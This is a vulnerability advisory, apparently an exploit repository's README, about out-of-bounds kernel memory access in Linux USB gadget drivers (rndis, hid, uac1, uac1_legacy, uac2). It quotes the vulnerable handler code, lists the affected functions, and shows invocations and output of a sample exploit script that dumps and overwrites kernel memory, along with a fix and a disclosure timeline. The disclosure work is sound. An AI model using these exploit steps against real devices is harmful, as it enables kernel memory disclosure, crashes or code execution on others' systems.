inspector-gadget
Go Go Gadget Exploit!
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Summary
An attacker can access kernel memory bypassing valid buffer boundaries by exploiting implementation of control request handlers in the following usb gadgets - rndis, hid, uac1, uac1_legacy and uac2. Processing of malicious control transfer requests with unexpectedly large wLength lacks assurance that this value does not exceed the buffer size. Due to this fact one is capable of reading and/or writing (depending on particular case) up to 65k of kernel memory.
Description
Some execution paths of usb control transfer handlers of gadgets such as rndis, hid, uac1, uac1_legacy and uac2 do not include proper handling of request length (wLength). This value should be limited to buffer size to prevent buffer overflow vulnerabilities in the data transfer phase.
The buffer used by endpoint 0 is allocated in composite.c with size of USB_COMP_EP0_BUFSIZ (4096) bytes so setting wLength to a value greater than USB_COMP_EP0_BUFSIZ will result in a buffer overflow.
For example in the case of f_uac1.c, execution of the f_audio_setup function allows one to perform both reads and writes past buffer boundaries. Neither f_audio_setup nor none of the called functions - audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in limit the return value to be smaller than the buffer size. Consequently the data transfer phase uses req->length = value = ctrl->wLength which is controlled by the attacker. This allows one to either read or write up to 65k bytes of kernel memory depending on the control transfer direction.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Execution of the sample readout exploit allows dumping of up to 65k of memory.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
On the other hand, execution of the overwrite exploit allows one to write arbitrary data past expected buffer boundaries.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from [email protected] at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
Similarly in case of the rndis gadget the rndis_setup function can be exploited to write past buffer boundaries using control transfer request with direction out, type class, recipient interface and bRequest set to USB_CDC_SEND_ENCAPSULATED_COMMAND.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Vulnerable execution paths:
- f_rndis.c
- rndis_setup
- f_uac1.c
- out_rq_cur
- ac_rq_in
- audio_set_endpoint_req
- audio_get_endpoint_req
- f_uac1_legacy.c
- audio_set_intf_req
- audio_set_endpoint_req
- audio_get_endpoint_req
- f_uac2.c
- out_rq_cur
- f_hid.c
- hid_gsetup for HID_REQ_SET_REPORT case
Impact
Devices implementing affected usb device gadget classes (rndis, hid, uac1, uac1_legacy, uac2) may be affected by buffer overflow vulnerabilities resulting in information disclosure, denial of service or execution of arbitrary code in kernel context.
Expected resolution
Limit the transfer phase size to min(len, buffer_size) in affected control request handlers to assure that a buffer overflow will not occur.
Key dates
- 07.12.2021 - reported the issue to Kernel security team
- 09.12.2021 - draft patch provided by Kernel security team
- 12.12.2021 - fix merged to main Linux kernel tree (public)
CVE
Exploit
The gadget.py script requires pyusb. You can install this package via pip as below.
python3 -m pip install pyusb
Help can be accessed with -h or --help parameters.
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
Example invocations:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
Final notes
Please update your kernel to the latest stable version.
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